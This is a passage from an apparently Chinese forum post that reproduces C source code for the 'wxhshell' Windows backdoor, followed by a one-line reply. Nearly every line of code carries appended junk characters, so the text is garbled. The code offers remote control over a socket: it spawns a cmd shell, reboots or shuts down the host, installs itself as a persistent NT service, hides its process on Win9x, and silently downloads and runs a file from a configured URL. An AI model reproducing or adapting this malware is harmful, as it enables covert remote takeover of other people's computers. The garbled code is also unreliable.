  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zWO!z =  
  else S {d]0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) dB?Ep|  
  } jjJvyZi~J  
  else { _&SST)Y|  
A>9I E(C_  
    switch(cmd[0]) { i]$/& /  
  BV"l;&F[  
  // 帮助 lZ'ZL*  
  case '?': { Xd 5vNmQn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'QOV!D  
    break; Z [Q jl*  
  } 3[*x'"Q;H  
  // 安装 k-jlYHsA  
  case 'i': { &P pb2  
    if(Install()) "=Xky,k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '.gLqm}%  
    else )x& 4 Q=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y@l>4q")  
    break; '/U%-/@  
    } # A#,]XP  
  // 卸载 *L{^em#b  
  case 'r': { rnSrkn"j{  
    if(Uninstall()) rds 4eUxe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4R}$P1 E  
    else `Lj'2LoER  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E51'TT9  
    break; ;659E_y>  
    } hd>_K*oH  
  // 显示 wxhshell 所在路径 =WEWs4V5A  
  case 'p': { TQL_K8k@_  
    char svExeFile[MAX_PATH]; P;bOtT --  
    strcpy(svExeFile,"\n\r"); wl N l|+ K  
      strcat(svExeFile,ExeFile); b O9PpOk+z  
        send(wsh,svExeFile,strlen(svExeFile),0); KN< KZM  
    break; tq.g4X ;_  
    } ]|8*l]oc  
  // 重启 Bk;/>gD  
  case 'b': { H tx)MEZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p)c"xaTP#F  
    if(Boot(REBOOT)) ` st^i$A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %) /Bl.{}<  
    else { 70F(`;  
    closesocket(wsh); ? 4v"y@v  
    ExitThread(0); k=  
    } GLiD,QX<  
    break; GhC%32F  
    } ;s^F:O  
  // 关机 ^!7|B3`  
  case 'd': { m?y'Y`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lPA:ho/`:  
    if(Boot(SHUTDOWN)) 5?HoCz]l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z^Y4:^L~I  
    else { i*6 1i0  
    closesocket(wsh); Tqm)-|[  
    ExitThread(0); QI4a@WB]ok  
    } )YPu t.  
    break; jmr1e).];  
    } +5N09$f;R  
  // 获取shell 1Gp| _8  
  case 's': { 5e >qBw8t  
    CmdShell(wsh); A 6j>KTU  
    closesocket(wsh); A3A"^f$$  
    ExitThread(0); #eY?6Kjn  
    break; :pNu$%q  
  } xlm:erP  
  // 退出 &eFv~9  
  case 'x': { 9RQw6rL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w9,w?%F  
    CloseIt(wsh); 28,g'k!  
    break; ' p!\[* e  
    } W@WKdaJ  
  // 离开 P~@.(hed  
  case 'q': { Lw<%?F (  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D8=a+!l-  
    closesocket(wsh); PS/00F/Ak  
    WSACleanup(); FQBAt0  
    exit(1); ~+&Z4CYb  
    break; n_ S)9C'=  
        } pP*`b<|  
  } %0lJ(hm  
  } yL"pzD`[H  
wh#x`Nc  
  // 提示信息 MB"<^ZX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /rzZU}3[  
} @YI- @  
  } BE,H`G #h  
Nrfj[I  
  return; _<7e5VR  
} !3Ed0h]Bfa  
8gXf4A(N  
// shell模块句柄 ~Aoo\fN_U  
int CmdShell(SOCKET sock) Ji;R{tZ.R  
{ 8+8P{_  
STARTUPINFO si; D`@*udn=  
ZeroMemory(&si,sizeof(si)); lk%W2N5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /F_(&H!m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q":0\ar&QT  
PROCESS_INFORMATION ProcessInfo; } !1pA5x$  
char cmdline[]="cmd"; Na>?1F"KHk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qAirH1#  
  return 0; a {4RG(I_  
} `cpUl*Y=  
l>?k>NEpP  
// 自身启动模式 4qg] oiT  
int StartFromService(void) ds<q"S {p  
{ \"=b8x  
typedef struct k-|b{QZ8!;  
{ O_|p{65  
  DWORD ExitStatus; PJ'.s  
  DWORD PebBaseAddress; 8BggK6X  
  DWORD AffinityMask; dH+oV`  
  DWORD BasePriority; >@i {8AD  
  ULONG UniqueProcessId; 4qmaL+Q  
  ULONG InheritedFromUniqueProcessId; rRd8W}B  
}   PROCESS_BASIC_INFORMATION; "Rq)%o$Z  
#( o(p  
PROCNTQSIP NtQueryInformationProcess; >o8N@`@VK-  
8\9s,W:5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c@)}zcw*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lArDOFl]x  
YY9Ub  
  HANDLE             hProcess; ;eiqzdP  
  PROCESS_BASIC_INFORMATION pbi; )NCSO b  
Qhsk09K_=4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6^v HFJ$  
  if(NULL == hInst ) return 0; "6xTh0D  
4kdQ h]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SAtK 'Jx[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `ILO]+`5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +i6XCN1=  
&dvL`  
  if (!NtQueryInformationProcess) return 0; K0z@gWGE  
mFeoeI,Jv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U(u$5  
  if(!hProcess) return 0; V0a)9\x(\  
*pKj6x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D?@e,e  
@g==U{k;t  
  CloseHandle(hProcess); 7 J+cs^2  
2` j#eB1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s5D<c'-  
if(hProcess==NULL) return 0; 2kQa3Pan  
8[mj*^P  
HMODULE hMod; (d$ksf_[%f  
char procName[255]; rulw6vTB(  
unsigned long cbNeeded; (Gpk;DD  
t9+ME|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _)F0o C {  
4&/m>%r  
  CloseHandle(hProcess); EE[JXoke  
[SA$d`B/  
if(strstr(procName,"services")) return 1; // 以服务启动 \<4Hp_2?  
fk  
  return 0; // 注册表启动 e+7x &-+  
} {Wh7>*p{3  
7(1UXtT  
// 主模块 Q2HULz{  
int StartWxhshell(LPSTR lpCmdLine) U8s&5~IPn  
{ n> O3p ~  
  SOCKET wsl; PXJ`<XM  
BOOL val=TRUE; +oe%bk|A  
  int port=0; _ ZC[h~9H  
  struct sockaddr_in door; a~"<lzu|$  
_M9-n  
  if(wscfg.ws_autoins) Install(); 7l|D!`BS  
v|K<3@J  
port=atoi(lpCmdLine); 2[Q/|D}}|  
L2m~ GnP|?  
if(port<=0) port=wscfg.ws_port; u=9)A9  
#Hyfj j  
  WSADATA data; 2*9rhOK*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yHt `kb2  
nlaeo"]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ECF \/12  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vs~!\<?  
  door.sin_family = AF_INET;  f]JLFg7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ! fSM6Vo  
  door.sin_port = htons(port); Bq)aA)gF  
d:1TSJff%/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nw=mSW^E  
closesocket(wsl); 2E d  
return 1; X__>r ?oJ  
} + ZxG<1&  
AB1,G|L  
  if(listen(wsl,2) == INVALID_SOCKET) { Nq=r404  
closesocket(wsl); #}U*gVYe  
return 1; ^lYa9k  
} 1L:sck5k  
  Wxhshell(wsl); Bk9? =  
  WSACleanup(); XP'7+/A  
|.c|\e z/  
return 0; ("$ ,FRTQ:  
mFu0$N6]H  
} iQnIk| 8  
h,WF'X+  
// 以NT服务方式启动 }9,^=g-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A/+bwCDP  
{ _]~= Kjp  
DWORD   status = 0; jQLiqi`  
  DWORD   specificError = 0xfffffff; %.+#e  
"Ooc;xD3<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (aa}0r5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AyUiX2=w1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g0 NSy3t  
  serviceStatus.dwWin32ExitCode     = 0; [#hoW"'Q9  
  serviceStatus.dwServiceSpecificExitCode = 0; ( @y te  
  serviceStatus.dwCheckPoint       = 0; j/+e5.EX/  
  serviceStatus.dwWaitHint       = 0; jaq`A'o5  
K=`;D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bPHqZ*f  
  if (hServiceStatusHandle==0) return; Z 71.*  
+bv-!rf  
status = GetLastError(); fX[6  {  
  if (status!=NO_ERROR) j/<z[qr  
{ PWw2;3`-6w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /5Zt4&r  
    serviceStatus.dwCheckPoint       = 0;  !Hp H  
    serviceStatus.dwWaitHint       = 0; !^EdB}@yS  
    serviceStatus.dwWin32ExitCode     = status; bn8`$FA^  
    serviceStatus.dwServiceSpecificExitCode = specificError; %Z#s9QC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |#6))Dh  
    return; $<N!2[I L  
  } _jr'A-M  
!33)6*s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a~nErB  
  serviceStatus.dwCheckPoint       = 0; ?U;KwS]%  
  serviceStatus.dwWaitHint       = 0; ; OpN &q+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K V-}:u(  
} >TqMb8e_  
&/7D4!N]  
// 处理NT服务事件,比如:启动、停止 M XX:i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g)@d(EYY  
{ UZ"jQJQ  
switch(fdwControl) n2#Yw}7^,o  
{ DfJHH)Ry}  
case SERVICE_CONTROL_STOP: RXF%A5FXh  
  serviceStatus.dwWin32ExitCode = 0; _,m|gr ,S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XA*sBf  
  serviceStatus.dwCheckPoint   = 0; #~Z55 D_  
  serviceStatus.dwWaitHint     = 0; !y{t}|U/d  
  { wC~ra:/?:7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4tb y N  
  } ^XIVWf#`H  
  return; 'l| e}eti>  
case SERVICE_CONTROL_PAUSE: Zoi\r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l1h;ng6  
  break; g[d.lJ=Q-N  
case SERVICE_CONTROL_CONTINUE: V?*\ISB`}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ym WVb  
  break; | <q9Ee  
case SERVICE_CONTROL_INTERROGATE: gPu0j4&-  
  break; =h<LlI^v  
}; v_$'!i$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gc'CS_L  
} lW!}OzE(m  
)O~V3a  
// 标准应用程序主函数 \z4I'"MC.9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @@O=a  
{ GkT:7`|C  
y ;$8C  
// 获取操作系统版本 6_s_2cr  
OsIsNt=GetOsVer(); Snav)Hb'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O&Ws*k  
lOc!KZHUp  
  // 从命令行安装 Y8^pgv  
  if(strpbrk(lpCmdLine,"iI")) Install(); OZ /!= ;  
keBf^NY  
  // 下载执行文件 A* =r~T5B  
if(wscfg.ws_downexe) { Y8Bc &q}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hLZ<h7:  
  WinExec(wscfg.ws_filenam,SW_HIDE); opKk#40  
} ia!b0*<   
/_`f b)f  
if(!OsIsNt) { &3nbmkM  
// 如果时win9x,隐藏进程并且设置为注册表启动 @4'bI)  
HideProc(); Q^iE,_Zq  
StartWxhshell(lpCmdLine); $\DOy&e  
} dHtbl\6  
else ygvX}q  
  if(StartFromService()) l^@!,Z  
  // 以服务方式启动 Eep*,Cnt0  
  StartServiceCtrlDispatcher(DispatchTable); eoC@b/F4  
else #ZPU.NNT?  
  // 普通方式启动 \;h+:[<e1  
  StartWxhshell(lpCmdLine); Jx:t(oUR+  
0M'[|ci d|  
return 0; VGVZ`|  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五